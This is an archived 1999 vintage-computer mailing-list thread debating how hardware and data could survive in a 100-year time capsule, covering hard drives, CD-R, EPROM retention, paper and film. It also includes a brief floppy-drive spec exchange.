From ard at p850ug1.demon.co.uk Sun Jan 17 19:37:10 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:14 2005 Subject: Disasters and Recovery In-Reply-To: from "Doug" at Jan 17, 99 07:54:08 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 653 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990118/7a8dd569/attachment.ksh From ard at p850ug1.demon.co.uk Sun Jan 17 19:42:09 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:14 2005 Subject: Disasters and Recovery In-Reply-To: <4.1.19990117164655.00a88100@208.226.86.10> from "Chuck McManis" at Jan 17, 99 04:59:56 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1406 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990118/830b5aad/attachment.ksh From roblwill at usaor.net Sun Jan 17 22:58:38 1999 From: roblwill at usaor.net (Jason Willgruber) Date: Sun Feb 27 18:40:14 2005 Subject: Disasters and Recovery Message-ID: <01be429f$3626d360$a68ea6d1@the-general> Just a though: Build a computer with 2 CD-ROMs, a hard disk, and a floppy (and whatever else you decide to throw in there - maybe even a DVD). Configure one of the CD-ROMS as the primary master, and the HD as the primary slave. Write the OS/boot files to a CD/R disk, and have it boot of the CD-ROM (provided that the CD-ROM drive will still spin up. And surely, a CD-ROM drive would be much easier to repair than hard disk, and no alignment would be necessary, thus eliminating another problem. Another solution may be to deep-freeze the whole mess, and put it into "suspended animation". I'm not sure how it would work with magnetic media or bearings / lubricants, but it does wonders with rubber. My grandmother had a rubber band from 1956 (around that time) in her freezer holding a cover on a fruitcake (no joke). Last year she finally decided to trash the fruitcake. She let it thaw (to keep the container), and when the rubber band had defrosted, it was as pliable and stretchy as if it had been brand new (to a point). Of course, you would need to leave specific instructions on how to defrost the system, leaving it in a climate-controlled room, slowly raising the temperature degree-by degree, as to not have any disasters, such as the CRT imploding from sudden temp changes. Better yet, throw in a flat-panel LCD display. Near the end of 1999, they should be a bit more affordable. -- -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 From roblwill at usaor.net Sun Jan 17 23:04:01 1999 From: roblwill at usaor.net (Jason Willgruber) Date: Sun Feb 27 18:40:14 2005 Subject: Disasters and Recovery Message-ID: <01be429f$f66378e0$a68ea6d1@the-general> Possibly. I still don't like to endorse a company that built a computer that the display exploded in my face (sort of - it shattered and started leaking LCD juice everywhere-during use). It was new. The model line only lasted about 6 months. The best bet would probably include a computer in a tower case, with a flat-panel display, eliminating the hazards of the pressure in a CRT. -- -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 -----Original Message----- From: Russ Blakeman To: Discussion re-collecting of classic computers Date: Sunday, January 17, 1999 3:36 PM Subject: Re: Disasters and Recovery >While gateways, Dells, GRiDs and others would be good, I have a 4 yr old Toshi >that's never needed more than a battery and it's seen some rough use. It may be >that you've gotten a blemish or a used one that was treated badly before you got >it. > From eric at brouhaha.com Sun Jan 17 20:15:55 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:14 2005 Subject: Disasters and Recovery In-Reply-To: (message from Doug on Sun, 17 Jan 1999 18:47:35 -0500 (EST)) References: Message-ID: <19990118021555.19907.qmail@brouhaha.com> Doug wrote: > Sure, but oxidation is the enemy of lubricants, right? It's one thing to > talk about survival of machines in daily use or in typical environments > and another to talk about survival inside a sealed gas filled chamber. Not relevant unless you actually plan to open the sealed HDA (better have a cleanroom!), so that it is not filled with that nasty O2 stuff either. Just putting the complete drive in an inert gas environment won't suffice; some O2 will eventually leak out of the HDA, and some inert gas will leak in, but there will be more than enough O2 in the HDA to cause problems. From rigdonj at intellistar.net Sun Jan 17 22:25:10 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:14 2005 Subject: Teac FD-55FV-13-U Message-ID: <3.0.1.16.19990117222510.3aaf96f0@intellistar.net> Hi, Does anyone have the specs for a Teac FD-55FV-13-U 5 1/4" floppy drive or the URL of a website with specs for Floppy drives? Joe From eric at brouhaha.com Sun Jan 17 20:23:42 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:14 2005 Subject: Disasters and Recovery In-Reply-To: (ard@p850ug1.demon.co.uk) References: Message-ID: <19990118022342.19940.qmail@brouhaha.com> Tony wrote: > I doubt if any semiconductor memory, even mask-programmed ROMs, will last > 100 years. Masked ROMs, particularly older (lower-density) ones, might have a reasonable chance. Most, but not all, of the electromigration occurs when the part is under bias. Note that the old nichrome fusible-link PROMs suffer from regrowth. I'm not sure whether the slightly newer titanium-tungsten PROMs have this problem as bad. A friend has reconstructed PROM contents by optical inspection. The regrowth is visually distinctive from original unblown fuses. I speculate that data might also be recoverable by programming the part; regrown fuses shouldn't take as much current to blow as unblown fuses. > There are reliable electronic stores. Braided wire ROM is one of them. > But none of them are high-density, or are anything like the typical > memories of 1999. I wonder how well the HP 9100 calculator will hold up? It uses wire braid ROM for its microinstruction decoder, and PCB memory for its control store. How long will a CRT hold a usable vacuum? From ard at p850ug1.demon.co.uk Sun Jan 17 20:34:28 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:14 2005 Subject: Teac FD-55FV-13-U In-Reply-To: <3.0.1.16.19990117222510.3aaf96f0@intellistar.net> from "Joe" at Jan 17, 99 10:25:10 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 680 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990118/b8fa00ed/attachment.ksh From eric at brouhaha.com Sun Jan 17 20:41:47 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:14 2005 Subject: Disasters and Recovery In-Reply-To: (message from Sam Ismail on Sun, 17 Jan 1999 16:20:35 -0800 (PST)) References: Message-ID: <19990118024147.20015.qmail@brouhaha.com> Sam wrote: > I would hope that in 100 years re-aligning a late-1990's hard drive would > be a trivial task. Doubtful. It's a hard task now, and it will only get harder, since the necessary technical documentation (which is proprietary to the drive manufacturer) will be long gone. Personally I think that the best bet for 100 year data retention of large amounts of data (such that punched tape or cards are impractical) is CDR media kept in the dark under proper temperature and humidity control. And make multiple copies on different brands of media. Note that there are three important considerations to long-term data storage: 1) The media has to survive in a sufficiently good condition that it is possible to recover the data from it. 2) A suitable mechanism for the data recovery has to exist, or be constructed. Sufficient technical specifications of the media format has to be preserved to allow the preservation or construction of the mechanism. 3) Specifications for the data format must also be preserved. It does very little good to be able to recover raw binary data from the disc if you then are unable to interpret the data. For instance, a comma-delimited ASCII text file will probably be easier to read 100 years from now than a Microsoft Excel '97 file. But carrying this idea one step further, there still could be questions about what the data represents. This is perhaps the most difficult problem. The second consideration may actually require the use of media that is not optimal for the first consideration. For instance, other forms of optical WORM discs might have better longevity than CDR, but the technical specifications are not as readily available. For instance, people have suggested that in 100 years no one will be able to read CDs. That may be true, but the CD-Audio format was specifically designed to be easy to read, without even requiring a microprocessor (i.e., the P subcode). As far as I know, no vendor ever sold a CD player that was not microprocessor based, but the principle remains. And the CD-ROM format is a fairly simple elaboration of the audio format. Technical documentation on the CD-Audio and CD-ROM formats are so widely available now, that it is reasonable to expect that a determined researcher 100 years from now should be able to turn up copies. Building a CD-Audio player without using only generic components (both electrical and optical) with no parts specificially designed for CD players could probably be accomplished in six months to a year by a small group of researchers or graduate students. Expanding it into a CD-ROM drive would not take too much additional effort. Eric From ard at p850ug1.demon.co.uk Sun Jan 17 20:40:04 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:14 2005 Subject: Disasters and Recovery In-Reply-To: <19990118022342.19940.qmail@brouhaha.com> from "Eric Smith" at Jan 18, 99 02:23:42 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1776 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990118/9f9179c5/attachment.ksh From eric at brouhaha.com Sun Jan 17 20:50:43 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:14 2005 Subject: Disasters and Recovery In-Reply-To: (ard@p850ug1.demon.co.uk) References: Message-ID: <19990118025043.20063.qmail@brouhaha.com> > > I wonder if the hard drive and motherboard manufacturers would have any > > sympathy for people who are making time capsules and give out their > > proprietary information? Probably not but it's worth a shot. :) > > There isn't _that_ much proprietary information, actually, other than > gate-level diagrams of all the chips, which you have _no_ chance of getting. What about the details of the block replacement algorithm and data structures? What about the details of the operation of the embedded servo? What about source code of the firmware? Reverse-engineering a working drive might be feasible (but very difficult); Reverse-engineering from a broken drive (or pieces of a drive) could be *very* challenging. If someone handed me a 100-year-old hard drive (possibly containing the only surviving copy of the Ada compiler for the Analytical Engine), I think I'd tell them it wasn't worth the effort. And bear in mind, I'm someone who thinks that preserving the history of computing is important! From ckaiser at oa.ptloma.edu Sun Jan 17 21:01:41 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:14 2005 Subject: OT? On Programming (was: Re: Computers for children) In-Reply-To: <9901171707.ZM4432@indy.dunnington.u-net.com> from "Pete Turnbull" at Jan 17, 99 05:07:05 pm Message-ID: <199901180301.TAA19764@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 1209 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990117/38e12ff7/attachment.ksh From ard at p850ug1.demon.co.uk Sun Jan 17 20:51:02 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:14 2005 Subject: Disasters and Recovery In-Reply-To: <19990118024147.20015.qmail@brouhaha.com> from "Eric Smith" at Jan 18, 99 02:41:47 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 3494 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990118/9e084cff/attachment.ksh From ard at p850ug1.demon.co.uk Sun Jan 17 20:57:56 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:14 2005 Subject: Disasters and Recovery In-Reply-To: <19990118025043.20063.qmail@brouhaha.com> from "Eric Smith" at Jan 18, 99 02:50:43 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1907 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990118/bb99bb63/attachment.ksh From dpeschel at u.washington.edu Sun Jan 17 21:05:45 1999 From: dpeschel at u.washington.edu (D. Peschel) Date: Sun Feb 27 18:40:14 2005 Subject: OT: Alien Media (was Disasters and Recovery) Message-ID: <199901180305.TAA07174@saul7.u.washington.edu> Slightly related to the subject of reading CD's in 100 years: On one of their recent space probes, NASA put a DVD (just the disk, in a little pocket on the outside of the probe, possibly with a plaque of some kind but probably no directions on reading). I suspect DVD's are much more complex than CD's. I would trust a CD on a space probe more than I would trust a DVD. The records on Voyager (both Voyagers, I guess) -- which include styli and playing directions -- strike me as a MUCH better idea. -- Derek From doug at blinkenlights.com Sun Jan 17 21:08:30 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:14 2005 Subject: OT? On Programming (was: Re: Computers for children) In-Reply-To: <199901180301.TAA19764@oa.ptloma.edu> Message-ID: On Sun, 17 Jan 1999, Cameron Kaiser wrote: > but that was long ago when he still had a uucp address. Yeah, those were the days, eh? We didn't need these fancy '@'s or '.'s, we had '!'s and they worked fine (most of the time). Are the uucp maps still maintained? -- Doug (formerly {spsd,zardoz,dhw68k}!feedme!doug) From dastar at ncal.verio.com Sun Jan 17 21:31:37 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:14 2005 Subject: Disasters and Recovery In-Reply-To: <19990118024147.20015.qmail@brouhaha.com> Message-ID: On 18 Jan 1999, Eric Smith wrote: > Sam wrote: > > I would hope that in 100 years re-aligning a late-1990's hard drive would > > be a trivial task. > > Doubtful. It's a hard task now, and it will only get harder, since the > necessary technical documentation (which is proprietary to the drive > manufacturer) will be long gone. We're talking 100 years here. Computers didn't even exist in 1899, and now you can wear one on a ring. I think aligning a 1999 hard drive, a physical item that is still very visible by the naked eye, will be among the more mundane tasks in 2099. Of course, the point is pretty much moot anyway. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From dastar at ncal.verio.com Sun Jan 17 21:41:22 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:14 2005 Subject: Disasters and Recovery In-Reply-To: Message-ID: On Mon, 18 Jan 1999, Tony Duell wrote: > > I like the mylar paper tape idea. Although I cannot imagine how much tape I > > would need to hold a 128K byte flash image. Wait a minute, let me get some > > tape here .... 10 bytes/in so 13,107" or 1092' or roughly 11 100' rolls. > > That is a lot of tape and that is only the BIOS! > > The big reels of paper tape are 1000 feet, I think. One reel is about > 100K of data. I've punched 80K files onto a single reel of tape, for example. Consider that the Dead Sea scrolls lasted 2000+ years. They were stored inside clay containers in a cave in a dry climate. By actually trying to we could probably create a self-contained perpetual preservation chamber that could probably achieve at least that. So why bother with punched tape? Can't one get a much higher density with optical-mark encoded paper documents? Sure the reader will have to be more complex but unless we manage to annihilate ourselves in the next 100 years we should have the technology to put together an optical mark reader. Paper will last longer than anything we've been discussing so far (save for Mylar) but is much, much easier, and cheaper, to implement. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From doug at blinkenlights.com Sun Jan 17 21:49:44 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:14 2005 Subject: Disasters and Recovery In-Reply-To: Message-ID: On Sun, 17 Jan 1999, Sam Ismail wrote: > Paper will last longer than anything we've been discussing so far (save Where did you get that idea? Paper will disolve in just about any solvent, including water, and is subject to tearing. Again, if we're talking about preservation in controlled environments, a CD-ROM kicks paper's butt. What makes some of today's technology fragile is simply the density, or equivalenty, the lack of redundancy in a given area. A plain old EPROM should be fine for 100 years if you include 100 copies of the information within it. -- Doug From roblwill at usaor.net Mon Jan 18 00:44:35 1999 From: roblwill at usaor.net (Jason Willgruber) Date: Sun Feb 27 18:40:14 2005 Subject: Disasters and Recovery Message-ID: <01be42ae$03011d60$e78ea6d1@the-general> But, when you consider things, most people wouldn't have seen what we consider a "hard drive" for probably 40-50 years, if not more. By that time, computers will probably be the size of, if not smaller than a 1999 hard drive. The computer in the time capsule will probably seem like the ENIAC does to those who are accustomed to today's compact desktops and laptops. I just thought of something else: Is a modern, voice-coil-driven (heads) hard drive even alignable? The old drives with the stepper were, but they usually operated on the principle of a floppy drive (in the way the heads moved, at least). In a modern drive, if the heads would somehow "un-align", all you would normally have done is get the data rescued, reformat the drive, and put everything back on, or, what *most* (not necessarily people on this list) people would do, is just get the data rescued (if their job, or life, depended on what was on the drive), trash the mis-aligned drive, buy a new one, and re-install everything. -- -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 -----Original Message----- From: Sam Ismail To: Discussion re-collecting of classic computers Date: Sunday, January 17, 1999 7:34 PM Subject: Re: Disasters and Recovery > >We're talking 100 years here. Computers didn't even exist in 1899, and >now you can wear one on a ring. I think aligning a 1999 hard drive, a >physical item that is still very visible by the naked eye, will be among >the more mundane tasks in 2099. > >Of course, the point is pretty much moot anyway. > >Sellam Alternate e-mail: dastar@siconic.com >--------------------------------------------------------------------------- --- >Always being hassled by the man. > > Coming in 1999: Vintage Computer Festival 3.0 > See http://www.vintage.org/vcf for details! > [Last web site update: 01/15/99] > > From jim at calico.litterbox.com Sun Jan 17 21:52:09 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:40:14 2005 Subject: Disasters and Recovery In-Reply-To: from "Doug" at Jan 17, 1999 10:49:44 PM Message-ID: <199901180352.UAA07106@calico.litterbox.com> It bears mentioning that the dead sea scrolls were written on sheep hide. > > On Sun, 17 Jan 1999, Sam Ismail wrote: > > > Paper will last longer than anything we've been discussing so far (save > > Where did you get that idea? Paper will disolve in just about any > solvent, including water, and is subject to tearing. Again, if we're > talking about preservation in controlled environments, a CD-ROM kicks > paper's butt. > > What makes some of today's technology fragile is simply the density, or > equivalenty, the lack of redundancy in a given area. A plain old EPROM > should be fine for 100 years if you include 100 copies of the information > within it. > > -- Doug > -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From dastar at ncal.verio.com Sun Jan 17 21:57:42 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:14 2005 Subject: Disasters and Recovery In-Reply-To: Message-ID: On Sun, 17 Jan 1999, Doug wrote: > > Paper will last longer than anything we've been discussing so far (save > > Where did you get that idea? Paper will disolve in just about any > solvent, including water, and is subject to tearing. Again, if we're > talking about preservation in controlled environments, a CD-ROM kicks > paper's butt. What are you talking about? The whole aversion to using CD's was the fact that they have a theoretical shelf life of only 50-100 years. Like I said, the Dead Sea scrolls lasted more than two millenia without much thought going into how to preserve them. And here you are talking about going thru the trouble of filling a chamber with inert gasses to promote preservation. Unless your line of thinking is to fill the chamber with water just to give paper a challenge. Paper has passed the test of time. You can go into antique book shops and find volumes hundreds of years old that are still very readable and very intact. CDs, on the other hand, have only been with us a couple decades. > What makes some of today's technology fragile is simply the density, or > equivalenty, the lack of redundancy in a given area. A plain old EPROM > should be fine for 100 years if you include 100 copies of the information > within it. 100 copies on what? 100 other EPROMs? On CD? Or encoded on paper? Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From rigdonj at intellistar.net Sun Jan 17 23:56:52 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:14 2005 Subject: Teac FD-55FV-13-U In-Reply-To: References: <3.0.1.16.19990117222510.3aaf96f0@intellistar.net> Message-ID: <3.0.1.16.19990117235652.0d4fb636@intellistar.net> At 02:34 AM 1/18/99 +0000, you wrote: >> >> Hi, >> >> Does anyone have the specs for a Teac FD-55FV-13-U 5 1/4" floppy drive >> or the URL of a website with specs for Floppy drives? > >What do you want to know? It's a standard SA400-style interface, and the >F in the model number means it's double-sided 80 track (720K to the PC >crowd). Tony, That's exactly what I needed to know. Thanks for all the model info. Do you have any service info on the 9409T CDC floppy drive? It's a full height 80 track drive. I think it's a SA 400 interface and double sided but I'm not sure. I don't need service info yet but I may later. I have a system with two of them. They're connected to run continously. I don't know if I can change that without the system timimg out or not. I haven't had time to try it. Joe From ckaiser at oa.ptloma.edu Sun Jan 17 22:04:47 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:14 2005 Subject: OT? On Programming (was: Re: Computers for children) In-Reply-To: from "Doug" at Jan 17, 99 10:08:30 pm Message-ID: <199901180404.UAA19776@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 1085 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990117/7658be86/attachment.ksh From eric at brouhaha.com Sun Jan 17 22:00:57 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:14 2005 Subject: Disasters and Recovery In-Reply-To: (message from Sam Ismail on Sun, 17 Jan 1999 19:31:37 -0800 (PST)) References: Message-ID: <19990118040057.924.qmail@brouhaha.com> > We're talking 100 years here. Computers didn't even exist in 1899, and > now you can wear one on a ring. I think aligning a 1999 hard drive, a > physical item that is still very visible by the naked eye, will be among > the more mundane tasks in 2099. Repairing a 50-year old mechanical computing device can be difficult. Why would you expect that repairing a 100-year-old electromechanical device would be easy? Do you expect the universities to start turning out thousands of Wesley Crusher clones or something? Perhaps you're assuming that hard drive technology will be so advanced by 2099 that any twelve year old will be able to figure out that old 1999 stuff. But that's not a very reasonable assumption. Just because the technology gets more advanced doesn't mean that the older stuff becomes any simpler. If we're still using disk drives in 2099, they might bear so little resemblance to the ones we have now that few people will even remember the details of how the 1999 drives worked. (After all, few people *now* know the precise details of how the 1999 drives work.) You look at a disk drive and say, "Oh, that's simple, a disk spins and an actuator moves a magnetic head back and forth." But if it is so simple, why didn't they have 18G 3.5 inch drives 25 years ago? Just like any complex technology, there is an awful lot of detail that goes into making it work. And a lot of that detail isn't written down on paper *anywhere*. It's in the heads of the engineers. If we wanted to build Saturn V launch vehicles again, for instance, a lot of things would have to be relearned. Just because we have the engineering drawings does NOT mean that we fully understand it or know what it takes to make it work reliably. From jpl15 at netcom.com Sun Jan 17 22:03:23 1999 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:40:14 2005 Subject: 100 year archiving Message-ID: Without going into a lot of extraneous detail.. I am on several comittees and groups etc., involved in the restoration and preservation of films, sound tracks, and video media. All the high-techsolutions notwithstanding, one of the long-term archival methods is still an optically-recorded signal on stablized mylar or estar-based photographic film of some kind. With the proper care in processing the film life is forcast to be in excess of 500 years, and all that is required to 'read' it is a light source and a photo-responsive device.. plus the algorithms to recover the intelligence from the data stream. In the case of purely analog info, an audio amp, speaker, (and knowing the language) are the only recovery criteria. Data is a little more complex, but hopefully in 2100 somebody will be able to translate. Unless we've managed to reduce ourselves to cave-man status once again. ;} Cheerz John From doug at blinkenlights.com Sun Jan 17 22:04:22 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:14 2005 Subject: Disasters and Recovery In-Reply-To: Message-ID: On Sun, 17 Jan 1999, Sam Ismail wrote: > What are you talking about? The whole aversion to using CD's was the fact > that they have a theoretical shelf life of only 50-100 years. Like I > said, the Dead Sea scrolls lasted more than two millenia without much > thought going into how to preserve them. And here you are talking about > going thru the trouble of filling a chamber with inert gasses to promote > preservation. Unless your line of thinking is to fill the chamber with > water just to give paper a challenge. I really think you're mixing two concepts here. Do you think a "shelf life of 50 years" means that the thing disintegrates completely in 50 years, or do you think it means that under "normal" conditions you can expect some data loss in 50 years? > 100 copies on what? 100 other EPROMs? On CD? Or encoded on paper? In the same device! Don't pack the data so densly that a one-bit error makes the whole thing worthless. Expect that one bit in N will have an error over time, and increase the redundant info by at least a factor of N. -- Doug From roblwill at usaor.net Mon Jan 18 00:58:52 1999 From: roblwill at usaor.net (Jason Willgruber) Date: Sun Feb 27 18:40:14 2005 Subject: Disasters and Recovery Message-ID: <01be42b0$02034a80$e78ea6d1@the-general> -----Original Message----- From: Sam Ismail To: Discussion re-collecting of classic computers Date: Sunday, January 17, 1999 8:00 PM Subject: Re: Disasters and Recovery >On Sun, 17 Jan 1999, Doug wrote: > >> > Paper will last longer than anything we've been discussing so far (save >> >> Where did you get that idea? Paper will disolve in just about any >> solvent, including water, and is subject to tearing. Again, if we're >> talking about preservation in controlled environments, a CD-ROM kicks >> paper's butt. > >What are you talking about? The whole aversion to using CD's was the fact >that they have a theoretical shelf life of only 50-100 years. Like I >said, the Dead Sea scrolls lasted more than two millenia without much >thought going into how to preserve them. And here you are talking about >going thru the trouble of filling a chamber with inert gasses to promote >preservation. Unless your line of thinking is to fill the chamber with >water just to give paper a challenge. > But - The dead sea scrolls were on parchment, not paper, weren't they? >Paper has passed the test of time. You can go into antique book shops and >find volumes hundreds of years old that are still very readable and very >intact. > >CDs, on the other hand, have only been with us a couple decades. > >> What makes some of today's technology fragile is simply the density, or >> equivalenty, the lack of redundancy in a given area. A plain old EPROM >> should be fine for 100 years if you include 100 copies of the information >> within it. > >100 copies on what? 100 other EPROMs? On CD? Or encoded on paper? > Or was that 100 copies of the same information in the single EPROM? -- -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 From eric at brouhaha.com Sun Jan 17 22:10:54 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:14 2005 Subject: Disasters and Recovery In-Reply-To: (message from Doug on Sun, 17 Jan 1999 22:49:44 -0500 (EST)) References: Message-ID: <19990118041054.1014.qmail@brouhaha.com> > A plain old EPROM > should be fine for 100 years if you include 100 copies of the information > within it. I find this proposition very doubtful at best, although I don't have any solid figures for EPROM data retention. You seem to be suggesting a linear relationship between elapsed time and the number of bits that remain good. The actual curve is an inverse exponential (if memory serves). From dhansen at zebra.net Sun Jan 17 22:07:05 1999 From: dhansen at zebra.net (dhansen@zebra.net) Date: Sun Feb 27 18:40:14 2005 Subject: list manager Message-ID: <199901180407.WAA26555@ns.zebra.net> what is the email address of whoever maintains this list? david From doug at blinkenlights.com Sun Jan 17 22:19:14 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:14 2005 Subject: Disasters and Recovery In-Reply-To: <19990118041054.1014.qmail@brouhaha.com> Message-ID: On 18 Jan 1999, Eric Smith wrote: > I find this proposition very doubtful at best, although I don't have any > solid figures for EPROM data retention. You seem to be suggesting a > linear relationship between elapsed time and the number of bits that remain > good. The actual curve is an inverse exponential (if memory serves). Wow! That would imply some sort of self-catalyzed reaction, and I'd be very interested in hearing how that works! -- Doug From dpeschel at u.washington.edu Sun Jan 17 22:33:04 1999 From: dpeschel at u.washington.edu (D. Peschel) Date: Sun Feb 27 18:40:14 2005 Subject: list manager In-Reply-To: <199901180407.WAA26555@ns.zebra.net> from "dhansen@zebra.net" at Jan 17, 99 10:07:05 pm Message-ID: <199901180433.UAA12285@saul7.u.washington.edu> > > what is the email address of whoever maintains this list? > > david > From dastar at ncal.verio.com Sun Jan 17 22:33:42 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:14 2005 Subject: Disasters and Recovery In-Reply-To: <199901180352.UAA07106@calico.litterbox.com> Message-ID: On Sun, 17 Jan 1999, Jim Strickland wrote: > It bears mentioning that the dead sea scrolls were written on sheep hide. Doh! Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From eric at brouhaha.com Sun Jan 17 23:01:38 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:14 2005 Subject: Disasters and Recovery In-Reply-To: (message from Doug on Sun, 17 Jan 1999 23:19:14 -0500 (EST)) References: Message-ID: <19990118050138.604.qmail@brouhaha.com> > Wow! That would imply some sort of self-catalyzed reaction, and I'd be > very interested in hearing how that works! It works because an EPROM is a bunch of tiny little capacitors (storing electrons on the floating gates), and the charge gradually leaks off of them. Just like bits in a DRAM, but much more slowly. From donm at cts.com Sun Jan 17 23:05:12 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:14 2005 Subject: Disasters and Recovery In-Reply-To: Message-ID: On Sun, 17 Jan 1999, Sam Ismail wrote: > On Sun, 17 Jan 1999, Tony Duell wrote: > > > The motor and positioner bearings will probably stick. Sure you _can_ > > dismantle the HDA in a clean room and re-lubricate, but re-aligning the > > drive will not be trivial > > I would hope that in 100 years re-aligning a late-1990's hard drive would > be a trivial task. Otherwise there would be no purpose to this time > capsule thing. > > It would be really funny if a technology time capsule from 1999 turned > into an extraordinary gift to a future that has lost all knowledge of > high-technology. Well, do not forget the 'chisel and flat rock' technology. That is pretty durable! - don > > The heads will almost certainly stick to the platter, and the head > > surface may well be damaged as a result. > > > > Will the platter demagnetise, or suffer from magnetic patterns shifting > > with time. It's certainly possible. > > By then they should have technology that can read the magnetic remnants of > a floppy disk that has disintegrated into dust, no? > > Sellam Alternate e-mail: dastar@siconic.com > ------------------------------------------------------------------------------ > Always being hassled by the man. > > Coming in 1999: Vintage Computer Festival 3.0 > See http://www.vintage.org/vcf for details! > [Last web site update: 01/15/99] > > donm@cts.com *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* Don Maslin - Keeper of the Dina-SIG CP/M System Disk Archives Chairman, Dina-SIG of the San Diego Computer Society Clinging tenaciously to the trailing edge of technology. Sysop - Elephant's Graveyard (CP/M) Z-Node 9 - 619-454-8412 *--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--* see old system support at http://www.psyber.com/~tcj visit the "Unofficial" CP/M Web site at http://devili.iki.fi/cpm with Mirror at http://www.mathcs.emory.edu/~cfs/cpm From doug at blinkenlights.com Sun Jan 17 23:08:54 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:14 2005 Subject: Disasters and Recovery In-Reply-To: <19990118050138.604.qmail@brouhaha.com> Message-ID: On 18 Jan 1999, Eric Smith wrote: > It works because an EPROM is a bunch of tiny little capacitors (storing > electrons on the floating gates), and the charge gradually leaks off of them. > Just like bits in a DRAM, but much more slowly. I can believe that, but that means the graph is sigmoidal rather than exponential. What about a mask-programmed PROM, then? -- Doug From eric at brouhaha.com Sun Jan 17 23:12:27 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:14 2005 Subject: Disasters and Recovery In-Reply-To: (ard@p850ug1.demon.co.uk) References: Message-ID: <19990118051227.656.qmail@brouhaha.com> > I think it's fair to assume that some kind of microprocessors will exist > in 100 years time. Sure. My point was that if the format was designed to be so easy to read that a microprocessor isn't necessary, then it should be easy for someone to build or fix a CD-ROM drive (with or without a microprocessor). If the format had been designed with very powerful microprocessors in mind (as is the case for anything designed now), the format would probably be very complicated, and it would be much more difficult to engineer your own drive. > Philips actually sold a CD-ROM drive that was based on a CD player. The > modifications were a new microcontroller for the servo system (so that it > could accept commands from the PC to move tracks, etc), a gate array to > extract the data bits from the off-disk bit stream and a PC interface > card with an ASIC + buffer RAM on it to get that data onto the PC. > 